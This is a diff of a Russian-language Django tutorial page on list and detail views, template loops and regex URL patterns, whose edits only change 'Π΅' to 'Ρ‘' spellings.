<h4 id="УсловныС_вСтвлСния">УсловныС вСтвлСния</h4>
@@ -163,23 +163,23 @@ class BookListView(generic.ListView):
<h4 id="Π¦ΠΈΠΊΠ»_For">Π¦ΠΈΠΊΠ» For</h4>
-<p>Π¨Π°Π±Π»ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ тэги <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#for">for</a> ΠΈ <code>endfor</code> для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ "ΠΏΡ€ΠΎΠ±Π΅ΠΆΠ°Ρ‚ΡŒΡΡ" ΠΏΠΎ списку ΠΊΠ½ΠΈΠ³, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. На ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ (ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Ρ†ΠΈΠΊΠ»Π΅) Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ шаблона <code>book</code> пСрСдаСтся информация Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ элСмСнта списка.</p>
+<p>Π¨Π°Π±Π»ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ тэги <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#for">for</a> ΠΈ <code>endfor</code> для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ "ΠΏΡ€ΠΎΠ±Π΅ΠΆΠ°Ρ‚ΡŒΡΡ" ΠΏΠΎ списку ΠΊΠ½ΠΈΠ³, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. На ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ (ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Ρ†ΠΈΠΊΠ»Π΅) Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ шаблона <code>book</code> пСрСдаётся информация Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ элСмСнта списка.</p>
<pre class="brush: html">{% for <strong>book</strong> in book_list %}
&lt;li&gt; &lt;!-- здСсь ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ· ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта <strong>book </strong>списка--&gt; &lt;/li&gt;
{% endfor %}
</pre>
-<p>ΠœΡ‹ Π½Π΅ примСняСм здСсь, Π½ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π° Django создаСт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>forloop.last</code> (ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° послСднюю ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ Π² Ρ†ΠΈΠΊΠ»Π΅) для выполнСния ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‰ΠΈΡ… дСйствий для Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π°.</p>
+<p>ΠœΡ‹ Π½Π΅ примСняСм здСсь, Π½ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π° Django создаёт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>forloop.last</code> (ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° послСднюю ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ Π² Ρ†ΠΈΠΊΠ»Π΅) для выполнСния ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‰ΠΈΡ… дСйствий для Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π°.</p>
<h4 id="Доступ_ΠΊ_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ">Доступ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ</h4>
-<p>Код Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ†ΠΈΠΊΠ»Π° создаСт экзСмпляр для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ ΠΈΠ· списка, ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ показываСтся Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ (ΠΊΠ°ΠΊ ссылка Π½Π° "скоро-Π±ΡƒΠ΄Π΅Ρ‚-сдСлано" ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅) ΠΈ Π°Π²Ρ‚ΠΎΡ€Π° ΠΊΠ½ΠΈΠ³ΠΈ.</p>
+<p>Код Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ†ΠΈΠΊΠ»Π° создаёт экзСмпляр для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ ΠΈΠ· списка, ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ показываСтся Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ (ΠΊΠ°ΠΊ ссылка Π½Π° "скоро-Π±ΡƒΠ΄Π΅Ρ‚-сдСлано" ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅) ΠΈ Π°Π²Ρ‚ΠΎΡ€Π° ΠΊΠ½ΠΈΠ³ΠΈ.</p>
<pre class="brush: html">&lt;a href="\{{ book.get_absolute_url }}"&gt;\{{ book.title }}&lt;/a&gt; (\{{book.author}})
</pre>
-<p>ΠœΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ доступ ΠΊ <em>полям</em> ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ записи ΠΎ ΠΊΠ½ΠΈΠ³Π΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ "Π΄ΠΎΡ‚-Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ", Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· Ρ‚ΠΎΡ‡ΠΊΡƒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>book.title</code> ΠΈ <code>book.author</code>), Π³Π΄Π΅ тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ΄Π΅Ρ‚ послС <code>book</code>, являСтся ΠΈΠΌΠ΅Π½Π΅ΠΌ поля (Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π² ΠΌΠΎΠ΄Π΅Π»ΠΈ).</p>
+<p>ΠœΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ доступ ΠΊ <em>полям</em> ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ записи ΠΎ ΠΊΠ½ΠΈΠ³Π΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ "Π΄ΠΎΡ‚-Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ", Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· Ρ‚ΠΎΡ‡ΠΊΡƒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>book.title</code> ΠΈ <code>book.author</code>), Π³Π΄Π΅ тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ΄Ρ‘Ρ‚ послС <code>book</code>, являСтся ΠΈΠΌΠ΅Π½Π΅ΠΌ поля (Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π² ΠΌΠΎΠ΄Π΅Π»ΠΈ).</p>
<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π²Π½ΡƒΡ‚Ρ€ΠΈ нашСго шаблона, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ <em>Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</em> ΠΌΠΎΠ΄Π΅Π»ΠΈ β€” Π² Π΄Π°Π½Π½ΠΎΠΌ случаС, ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ <code>Book.get_absolute_url()</code> для получСния URL-адрСса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ для ΠΏΠΎΠΊΠ°Π·Π° Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΊΠ½ΠΈΠ³Π΅. Π”Π°Π½Π½Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ² Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½Π΅Ρ‚ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² (Π² шаблонС Π½Π΅ сущСствуСт возмоТности ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ!)</p>
@@ -197,7 +197,7 @@ class BookListView(generic.ListView):
<h3 id="Как_ΠΆΠ΅_Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ_всС_это_выглядит">Как ΠΆΠ΅ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ всС это выглядит?</h3>
-<p>Пока Ρ‡Ρ‚ΠΎ Ρƒ вас Π½Π΅Ρ‚ возмоТности ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ список ΠΊΠ½ΠΈΠ³, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ ΡƒΡ‡Π»ΠΈ Π΅Ρ‰Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ зависимости β€” ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ URL-адрСса для страниц с ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΊΠ½ΠΈΠ³Π΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ для ссылок Π½Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠ½ΠΈΠ³ΠΈ. ΠœΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ страницы со списком ΠΈ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΎ ΠΊΠ½ΠΈΠ³Π΅ послС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π°.</p>
+<p>Пока Ρ‡Ρ‚ΠΎ Ρƒ вас Π½Π΅Ρ‚ возмоТности ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ список ΠΊΠ½ΠΈΠ³, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ ΡƒΡ‡Π»ΠΈ Π΅Ρ‰Ρ‘ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ зависимости β€” ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ URL-адрСса для страниц с ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΊΠ½ΠΈΠ³Π΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ для ссылок Π½Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠ½ΠΈΠ³ΠΈ. ΠœΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ страницы со списком ΠΈ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΎ ΠΊΠ½ΠΈΠ³Π΅ послС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π°.</p>
<h2 id="Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π°_с_ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ_ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ_ΠΎ_ΠΊΠ½ΠΈΠ³Π΅">Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° с ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΎ ΠΊΠ½ΠΈΠ³Π΅</h2>
@@ -205,7 +205,7 @@ class BookListView(generic.ListView):
<h3 id="URL-прСобразования">URL-прСобразования</h3>
-<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ <strong>/catalog/urls.py</strong> ΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ '<strong>book-detail</strong>' URL-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅, ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½ΠΎΠ΅ ΠΆΠΈΡ€Π½Ρ‹ΠΌ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅. Π­Ρ‚Π° функция <code>url()</code> опрСдСляСт ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½, связанный с ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΌ классом отобраТСния Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ имя для Π΄Π°Π½Π½ΠΎΠΉ связи.</p>
+<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ <strong>/catalog/urls.py</strong> ΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ '<strong>book-detail</strong>' URL-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅, ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½ΠΎΠ΅ ΠΆΠΈΡ€Π½Ρ‹ΠΌ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅. Π­Ρ‚Π° функция <code>url()</code> опрСдСляСт ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½, связанный с ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΌ классом отобраТСния Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ имя для Π΄Π°Π½Π½ΠΎΠΉ связи.</p>
<pre class="brush: python">from django.urls import path
from . import views
@@ -217,14 +217,14 @@ urlpatterns = [
Β  Β  <strong>url(r'^book/(?P&lt;pk&gt;\d+)$', views.BookDetailView.as_view(), name='book-detail'),</strong>
]</pre>
-<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ, Π² Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΌΡ‹ примСняСм нашС рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ (Π Π’) для сопоставлСния "настоящСго ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Π°", Π° Π½Π΅ просто строки. Π”Π°Π½Π½ΠΎΠ΅ Π Π’ сопоставляСт любой URL-адрСс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ начинаСтся с <code>book/</code>, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° строки (Π΄ΠΎ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π° ΠΊΠΎΠ½Ρ†Π° строки - $) ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΎΠ΄Π½Π°, ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ <em>Ρ†ΠΈΡ„Ρ€</em>. Π’ процСссС выполнСния Π΄Π°Π½Π½ΠΎΠ³ΠΎ прСобразования, ΠΎΠ½ΠΎ "Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚" Ρ†ΠΈΡ„Ρ€Ρ‹ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΈΡ… Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ отобраТСния ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>pk</code>.</p>
+<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ, Π² Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΌΡ‹ примСняСм нашС рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ (Π Π’) для сопоставлСния "настоящСго ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Π°", Π° Π½Π΅ просто строки. Π”Π°Π½Π½ΠΎΠ΅ Π Π’ сопоставляСт любой URL-адрСс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ начинаСтся с <code>book/</code>, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° строки (Π΄ΠΎ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π° ΠΊΠΎΠ½Ρ†Π° строки - $) ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΎΠ΄Π½Π°, ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ <em>Ρ†ΠΈΡ„Ρ€</em>. Π’ процСссС выполнСния Π΄Π°Π½Π½ΠΎΠ³ΠΎ прСобразования, ΠΎΠ½ΠΎ "Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚" Ρ†ΠΈΡ„Ρ€Ρ‹ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΈΡ… Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ отобраТСния ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>pk</code>.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠΊΠ°ΠΊ Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½ΠΎ Ρ€Π°Π½Π΅Π΅, наш ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅ΠΌΡ‹ΠΉ URL-адрСс Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ выглядит Π²ΠΎΡ‚ Ρ‚Π°ΠΊ <code>catalog/book/&lt;digits&gt;</code> (ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ находимся Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ <strong>catalog</strong>, Ρ‚ΠΎ подразумСваСтся ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ <code>/catalog/</code>).</p>
</div>
<div class="warning">
-<p><strong>Π’Π°ΠΆΠ½ΠΎ</strong>: ΠžΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΉ класс отобраТСния ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ с ΠΈΠΌΠ΅Π½Π΅ΠΌ pk. Если Π²Ρ‹ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ свою ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ отобраТСния, Ρ‚ΠΎ Ρ‚ΠΎΠ³Π΄Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ с Π»ΡŽΠ±Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΆΠ΅Π»Π°Π΅Ρ‚Π΅, ΠΈΠ»ΠΈ Π²ΠΎΠΎΠ±Ρ‰Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² бСзымянном Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅.</p>
+<p><strong>Π’Π°ΠΆΠ½ΠΎ</strong>: ΠžΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ класс отобраТСния ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ с ΠΈΠΌΠ΅Π½Π΅ΠΌ pk. Если Π²Ρ‹ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ свою ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ отобраТСния, Ρ‚ΠΎ Ρ‚ΠΎΠ³Π΄Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ с Π»ΡŽΠ±Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΆΠ΅Π»Π°Π΅Ρ‚Π΅, ΠΈΠ»ΠΈ Π²ΠΎΠΎΠ±Ρ‰Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² бСзымянном Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅.</p>
</div>
<h4 id="ΠžΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€_с_рСгулярными_выраТСниями">ΠžΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с рСгулярными выраТСниями</h4>
@@ -261,7 +261,7 @@ urlpatterns = [
</tr>
<tr>
<td>\w</td>
- <td>БоотвСтствуСт Π»ΡŽΠ±ΠΎΠΌΡƒ символу ΠΈΠ· Π°Π»Ρ„Π°Π²ΠΈΡ‚Π° Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ- ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ½Π΅ΠΌ- рСгистрС, Ρ†ΠΈΡ„Ρ€Π΅, ΠΈΠ»ΠΈ символу подчСркивания (_)</td>
+ <td>БоотвСтствуСт Π»ΡŽΠ±ΠΎΠΌΡƒ символу ΠΈΠ· Π°Π»Ρ„Π°Π²ΠΈΡ‚Π° Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ- ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ½Π΅ΠΌ- рСгистрС, Ρ†ΠΈΡ„Ρ€Π΅, ΠΈΠ»ΠΈ символу подчёркивания (_)</td>
</tr>
<tr>
<td>+</td>
@@ -277,7 +277,7 @@ urlpatterns = [
</tr>
